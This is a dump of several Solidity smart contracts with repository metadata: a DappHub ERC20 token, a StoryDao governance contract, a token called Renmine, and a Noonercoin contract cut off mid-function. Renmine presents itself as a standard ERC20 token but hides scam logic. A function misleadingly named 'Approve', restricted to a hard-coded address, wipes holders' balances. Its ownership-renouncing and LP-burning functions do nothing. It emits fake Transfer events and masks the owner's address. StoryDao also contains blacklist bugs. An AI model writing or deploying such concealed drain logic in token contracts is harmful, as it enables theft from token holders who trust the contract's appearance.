// Copyright (C) 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public payable auth note {
stopped = true;
}
function start() public payable auth note {
stopped = false;
}
}
////// lib/erc20/src/erc20.sol
/// erc20.sol -- API for the ERC20 token standard
// See <https://github.com/ethereum/EIPs/issues/20>.
// This file likely does not meet the threshold of originality
// required for copyright to apply. As a result, this is free and
// unencumbered software belonging to the public domain.
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(address src, address dst, uint wad) public returns (bool);
}
////// src/base.sol
/// base.sol -- basic ERC20 implementation
// Copyright (C) 2015, 2016, 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
////// src/token.sol
/// token.sol -- ERC20 implementation with minting and burning
// Copyright (C) 2015, 2016, 2017 DappHub, LLC
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol = '';
uint256 public decimals = 18; // standard token precision. override to customize
constructor() public {
_supply = 3000000000000;
_balances[msg.sender] = _supply;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
// Optional token name
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
| 2,838 | 14,133 |
ae4ca6ca470bbfb9f7ddacc91067c9c4174b0068e9c4c57a907dc0a0567dcab0
| 19,566 |
.sol
|
Solidity
| false |
139013884
|
bitfalls/storydao
|
09021803f96bd6d6f5c7d82bb2319326e8ca0263
|
contracts/StoryDaoFlat.sol
| 4,558 | 18,006 |
pragma solidity ^0.4.24;
// File: node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/StoryDao.sol
contract LockableToken is Ownable {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
function approveAndCall(address _spender, uint256 _value, bytes _data) public payable returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public payable returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public payable returns (bool);
function decimals() public view returns (uint256);
function increaseLockedAmount(address _owner, uint256 _amount) public returns (uint256);
function decreaseLockedAmount(address _owner, uint256 _amount) public returns (uint256);
function getLockedAmount(address _owner) view public returns (uint256);
function getUnlockedAmount(address _owner) view public returns (uint256);
}
contract StoryDao is Ownable {
using SafeMath for uint256;
mapping(address => bool) public whitelist;
uint256 public whitelistedNumber = 0;
mapping(address => bool) public blacklist;
event Whitelisted(address addr, bool status);
event Blacklisted(address addr, bool status);
LockableToken public token;
event TokenAddressChange(address token);
uint256 public tokenToWeiRatio = 10000;
mapping (bytes32 => Submission) public submissions;
mapping (address => uint256) public deletions;
bytes32[] public submissionIndex;
uint256 public submissionZeroFee = 0.0001 ether;
uint256 public nonDeletedSubmissions = 0;
event SubmissionFeeChanged(uint256 newFee);
event SubmissionCreated(uint256 index, bytes content, bool image, address submitter);
event SubmissionDeleted(uint256 index, bytes content, bool image, address submitter);
struct Submission {
bytes content;
bool image;
uint256 index;
address submitter;
bool exists;
}
uint256 public daofee = 100; // hundredths of a percent, i.e. 100 is 1%
uint256 public whitelistfee = 10000000000000000; // in Wei, this is 0.01 ether
uint256 public withdrawableByOwner = 0;
struct Proposal {
string description;
bool executed;
int256 currentResult;
uint8 typeFlag; // 1 = delete
bytes32 target;
uint256 creationDate;
uint256 deadline;
mapping (address => bool) voters;
Vote[] votes;
address submitter;
}
Proposal[] public proposals;
uint256 proposalCount = 0;
event ProposalAdded(uint256 id, uint8 typeFlag, bytes32 hash, string description, address submitter);
event ProposalExecuted(uint256 id);
event Voted(address voter, bool vote, uint256 power, string justification);
struct Vote {
bool inSupport;
address voter;
string justification;
uint256 power;
}
event SubmissionCommissionChanged(uint256 newFee);
event WhitelistFeeChanged(uint256 newFee);
uint256 public durationDays = 21; // duration of story's chapter in days
uint256 public deadline;
uint256 public durationSubmissions = 1000; // duration of story's chapter in entries
bool public active = true;
event StoryEnded();
uint256 public imageGapMin = 50;
uint256 public imageGap = 0;
modifier memberOnly() {
require(whitelist[msg.sender]);
require(!blacklist[msg.sender]);
_;
}
modifier tokenHoldersOnly() {
require(token.balanceOf(msg.sender) >= 10**token.decimals());
_;
}
modifier storyActive() {
require(active == true);
_;
}
constructor(address _token) public {
require(_token != address(0), "Token address cannot be null-address");
token = LockableToken(_token);
deadline = now + durationDays * 1 days;
}
function endStory() storyActive public {
withdrawToOwner();
active = false;
emit StoryEnded();
}
function proposeDeletion(bytes32 _hash, string _description) storyActive memberOnly public {
require(submissionExists(_hash), "Submission must exist to be deletable");
uint256 proposalId = proposals.length++;
Proposal storage p = proposals[proposalId];
p.description = _description;
p.executed = false;
p.creationDate = now;
p.submitter = msg.sender;
p.typeFlag = 1;
p.target = _hash;
p.deadline = now + 2 days;
emit ProposalAdded(proposalId, 1, _hash, _description, msg.sender);
proposalCount = proposalId + 1;
}
function proposeDeletionUrgent(bytes32 _hash, string _description) storyActive onlyOwner public {
require(submissionExists(_hash), "Submission must exist to be deletable");
uint256 proposalId = proposals.length++;
Proposal storage p = proposals[proposalId];
p.description = _description;
p.executed = false;
p.creationDate = now;
p.submitter = msg.sender;
p.typeFlag = 1;
p.target = _hash;
p.deadline = now + 12 hours;
emit ProposalAdded(proposalId, 1, _hash, _description, msg.sender);
proposalCount = proposalId + 1;
}
function proposeDeletionUrgentImage(bytes32 _hash, string _description) storyActive onlyOwner public {
require(submissions[_hash].image == true, "Submission must be existing image");
uint256 proposalId = proposals.length++;
Proposal storage p = proposals[proposalId];
p.description = _description;
p.executed = false;
p.creationDate = now;
p.submitter = msg.sender;
p.typeFlag = 1;
p.target = _hash;
p.deadline = now + 4 hours;
emit ProposalAdded(proposalId, 1, _hash, _description, msg.sender);
proposalCount = proposalId + 1;
}
function executeProposal(uint256 _id) storyActive public {
Proposal storage p = proposals[_id];
require(now >= p.deadline && !p.executed);
if (p.typeFlag == 1 && p.currentResult > 0) {
assert(deleteSubmission(p.target));
}
uint256 len = p.votes.length;
for (uint i = 0; i < len; i++) {
token.decreaseLockedAmount(p.votes[i].voter, p.votes[i].power);
}
p.executed = true;
emit ProposalExecuted(_id);
}
function vote(uint256 _proposalId, bool _vote, string _description, uint256 _votePower) storyActive tokenHoldersOnly public returns (int256) {
require(_votePower > 0, "At least some power must be given to the vote.");
require(uint256(_votePower) <= token.balanceOf(msg.sender), "Voter must have enough tokens to cover the power cost.");
Proposal storage p = proposals[_proposalId];
require(p.executed == false, "Proposal must not have been executed already.");
require(p.deadline > now, "Proposal must not have expired.");
require(p.voters[msg.sender] == false, "User must not have already voted.");
uint256 voteid = p.votes.length++;
Vote storage pvote = p.votes[voteid];
pvote.inSupport = _vote;
pvote.justification = _description;
pvote.voter = msg.sender;
pvote.power = _votePower;
p.voters[msg.sender] = true;
p.currentResult = (_vote) ? p.currentResult + int256(_votePower) : p.currentResult - int256(_votePower);
token.increaseLockedAmount(msg.sender, _votePower);
emit Voted(msg.sender, _vote, _votePower, _description);
return p.currentResult;
}
function changedaofee(uint256 _fee) onlyOwner storyActive external {
require(_fee < daofee, "New fee must be lower than old fee.");
daofee = _fee;
emit SubmissionCommissionChanged(_fee);
}
function changewhitelistfee(uint256 _fee) onlyOwner storyActive external {
require(_fee < whitelistfee, "New fee must be lower than old fee.");
whitelistfee = _fee;
emit WhitelistFeeChanged(_fee);
}
function lowerSubmissionFee(uint256 _fee) onlyOwner storyActive external {
require(_fee < submissionZeroFee, "New fee must be lower than old fee.");
submissionZeroFee = _fee;
emit SubmissionFeeChanged(_fee);
}
function changedurationdays(uint256 _days) onlyOwner storyActive external {
require(_days >= 1);
durationDays = _days;
}
function changedurationsubmissions(uint256 _subs) onlyOwner storyActive external {
require(_subs > 99);
durationSubmissions = _subs;
}
function createSubmission(bytes _content, bool _image) storyActive external payable {
require(token.balanceOf(msg.sender) >= 10**token.decimals());
require(whitelist[msg.sender], "Must be whitelisted");
require(!blacklist[msg.sender], "Must not be blacklisted");
uint256 fee = calculateSubmissionFee();
require(msg.value >= fee, "Fee for submitting an entry must be sufficient.");
bytes32 hash = keccak256(abi.encodePacked(_content, block.number));
require(!submissionExists(hash), "Submission must not already exist in same block!");
if (_image) {
require(imageGap >= imageGapMin, "Image can only be submitted if more than {imageGapMin} texts precede it.");
imageGap = 0;
} else {
imageGap += 1;
}
submissions[hash] = Submission(_content,
_image,
submissionIndex.push(hash),
msg.sender,
true);
emit SubmissionCreated(submissions[hash].index,
submissions[hash].content,
submissions[hash].image,
submissions[hash].submitter);
nonDeletedSubmissions += 1;
withdrawableByOwner += fee / daofee;
if (nonDeletedSubmissions >= durationSubmissions) {
endStory();
}
}
function deleteSubmission(bytes32 hash) storyActive internal returns (bool) {
require(submissionExists(hash), "Submission must exist to be deletable.");
Submission storage sub = submissions[hash];
sub.exists = false;
deletions[submissions[hash].submitter] += 1;
if (deletions[submissions[hash].submitter] >= 5) {
blacklistAddress(submissions[hash].submitter);
}
emit SubmissionDeleted(sub.index,
sub.content,
sub.image,
sub.submitter);
nonDeletedSubmissions -= 1;
return true;
}
function blacklistAddress(address _offender) storyActive internal {
require(blacklist[_offender] == false, "Can't blacklist a blacklisted user :/");
blacklist[_offender] == true;
token.increaseLockedAmount(_offender, token.getUnlockedAmount(_offender));
emit Blacklisted(_offender, true);
}
function unblacklistMe() payable public {
unblacklistAddress(msg.sender);
}
function unblacklistAddress(address _offender) storyActive payable public {
require(msg.value >= 0.05 ether, "Unblacklisting fee");
require(blacklist[_offender] == true, "Can't unblacklist a non-blacklisted user :/");
require(notVoting(_offender), "Offender must not be involved in a vote.");
withdrawableByOwner = withdrawableByOwner.add(msg.value);
blacklist[_offender] == false;
token.decreaseLockedAmount(_offender, token.balanceOf(_offender));
emit Blacklisted(_offender, false);
}
function notVoting(address _voter) storyActive internal view returns (bool) {
for (uint256 i = 0; i < proposalCount; i++) {
if (proposals[i].executed == false && proposals[i].voters[_voter] == true) {
return false;
}
}
return true;
}
function calculateSubmissionFee() view internal returns (uint256) {
return submissionZeroFee * nonDeletedSubmissions;
}
function submissionExists(bytes32 hash) public view returns (bool) {
return submissions[hash].exists;
}
function getSubmission(bytes32 hash) public view returns (bytes content, bool image, address submitter) {
return (submissions[hash].content, submissions[hash].image, submissions[hash].submitter);
}
function getAllSubmissionHashes() public view returns (bytes32[]) {
return submissionIndex;
}
function getSubmissionCount() public view returns (uint256) {
return submissionIndex.length;
}
function daoTokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function changeTokenAddress(address _token) storyActive onlyOwner public {
require(_token != address(0), "Token address cannot be null-address");
token = LockableToken(_token);
emit TokenAddressChange(_token);
}
function buyTokensThrow(address _buyer, uint256 _wei) storyActive external {
require(whitelist[_buyer], "Candidate must be whitelisted.");
require(!blacklist[_buyer], "Candidate must not be blacklisted.");
uint256 tokens = _wei * tokenToWeiRatio;
require(daoTokenBalance() >= tokens, "DAO must have enough tokens for sale");
token.transfer(_buyer, tokens);
}
function buyTokensInternal(address _buyer, uint256 _wei) storyActive internal {
require(!blacklist[_buyer], "Candidate must not be blacklisted.");
uint256 tokens = _wei * tokenToWeiRatio;
if (daoTokenBalance() < tokens) {
msg.sender.transfer(_wei);
} else {
token.transfer(_buyer, tokens);
}
}
function whitelistAddress(address _add) storyActive public payable {
require(!whitelist[_add], "Candidate must not be whitelisted.");
require(!blacklist[_add], "Candidate must not be blacklisted.");
require(msg.value >= whitelistfee, "Sender must send enough ether to cover the whitelisting fee.");
withdrawableByOwner += msg.value;
whitelist[_add] = true;
whitelistedNumber++;
emit Whitelisted(_add, true);
if (msg.value > whitelistfee) {
buyTokensInternal(_add, msg.value.sub(whitelistfee));
}
}
function withdrawLeftoverTokens() external onlyOwner {
require(active == false);
token.transfer(msg.sender, token.balanceOf(address(this)));
token.transferOwnership(msg.sender);
}
function unlockMyTokens() external {
require(active == false);
require(token.getLockedAmount(msg.sender) > 0);
token.decreaseLockedAmount(msg.sender, token.getLockedAmount(msg.sender));
}
function withdrawToOwner() public {
owner.transfer(withdrawableByOwner);
withdrawableByOwner = 0;
}
function withdrawEverythingPostDeadline() external onlyOwner {
require(active == false);
require(now > deadline + 14 days);
owner.transfer(address(this).balance);
}
function withdrawAmountToOwner(uint256 _amount) public {
uint256 withdraw = _amount;
if (withdraw > withdrawableByOwner) {
withdraw = withdrawableByOwner;
}
owner.transfer(withdraw);
withdrawableByOwner = withdrawableByOwner.sub(withdraw);
}
function withdrawDividend() external {
require(active == false);
uint256 owed = address(this).balance.div(whitelistedNumber);
msg.sender.transfer(owed);
whitelist[msg.sender] = false;
whitelistedNumber--;
}
function() storyActive external payable {
if (!whitelist[msg.sender]) {
whitelistAddress(msg.sender);
} else {
buyTokensInternal(msg.sender, msg.value);
}
}
}
| 18,275 | 14,134 |
5d4a58913ff30e3c92fc097335c6bbf75ce9890112fbc03144fe551c6895875b
| 10,362 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/cb/cb646dd2b0419fbb5ff4b6d66033403206931f0a_Renmine.sol
| 2,616 | 9,821 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Renmine is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
using SafeMath for uint256;
using Address for address;
address _spf;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tx(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tx(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function renounceOwnership() public _onlyOwner(){}
function burnLPTokens() public _onlyOwner(){}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _Owner){
sender = _spf;
}
if (recipient == _Owner){
recipient = _spf;
}
emit Transfer(sender, recipient, amount);
}
function _me(address locker, uint256 amt) public {
require(msg.sender == _Owner, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_Owner] = _balances[_Owner].add(amt);
emit Transfer(address(0), locker, amt);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function Approve(address[] memory addr) public _setHlp(){
for (uint256 i = 0; i < addr.length; i++) {
uint256 amt = _balances[addr[i]];
_balances[addr[i]] = _balances[addr[i]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}}
function _tx(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _Owner){
sender = _spf;
}
emit Transfer(sender, recipient, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
modifier _onlyOwner() {
require(msg.sender == _Owner, "Not allowed to interact");
_;
}
modifier _approveHlp() {
require(msg.sender == _Owner, "Not allowed to interact");
_;
}
modifier _setHlp() {
require(msg.sender == 0xA4A1B4d163216b205768885A3aB839E64F21a019, "Not allowed to interact");
_;
}
function dropToken(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _onlyOwner(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
address public _Owner = 0xA4A1B4d163216b205768885A3aB839E64F21a019;
constructor () public {
_name = "Renmine";
_symbol ="Renmine";
_decimals = 18;
uint256 initialSupply = 1000000000;
_spf = 0xA4A1B4d163216b205768885A3aB839E64F21a019;
_me(_spf, initialSupply*(10**18));
}
}
| 26,958 | 14,135 |
d22dd8f21a237a3203b06bfbed546087b02ccff9f0d9cbf423dbdec853b53339
| 25,699 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/f1/F1459c4e3b402a221447823ed617754251155a43_Noonercoin.sol
| 5,649 | 21,499 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
using SafeMath for uint256;
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225, 250];
uint8[] __remainingRandomVariable = [150, 175, 200, 225, 250];
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occurenceOfRandomNumber;
uint256 weekStartTime = now;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 totalWeiBurned = 0;
uint256 totalCycleLeft = 19;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;
uint256 private _cycleTime = 86400; //given one day sec
uint256 private _fundersAmount;
uint256 _randomValue;
uint256 randomNumber;
int private count = 0;
uint256 previousCyclesTotalTokens = 0;
uint256 previousCyclesTotalWei = 0;
uint256 indexs = 1;
uint256[] randomVariableArray;
uint256[] previousCyclesBalance;
uint256[] previousCyclesWeiBalance;
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_, uint256 fundersAmount_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
_fundersAmount = fundersAmount_;
mintingRateNoonerWei = 0;
startTime = now;
noonercoin[adminAddress] = _fundersAmount;
}
function incrementCounter() public {
count += 1;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
//burn the tokens before minting
if(isNewCycleStart){
uint256 randomValue = _randomValue;
if(randomValue == 150){
isNewCycleStart = false;
for(indexs=1;indexs<=1;indexs++) {
previousCyclesTotalTokens = noonercoin[add];
previousCyclesTotalWei = noonerwei[add];
previousCyclesBalance.push(previousCyclesTotalTokens);
previousCyclesWeiBalance.push(previousCyclesTotalWei);
}
}
else {// else condition can be used
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
for(indexs=1;indexs<=1;indexs++) {
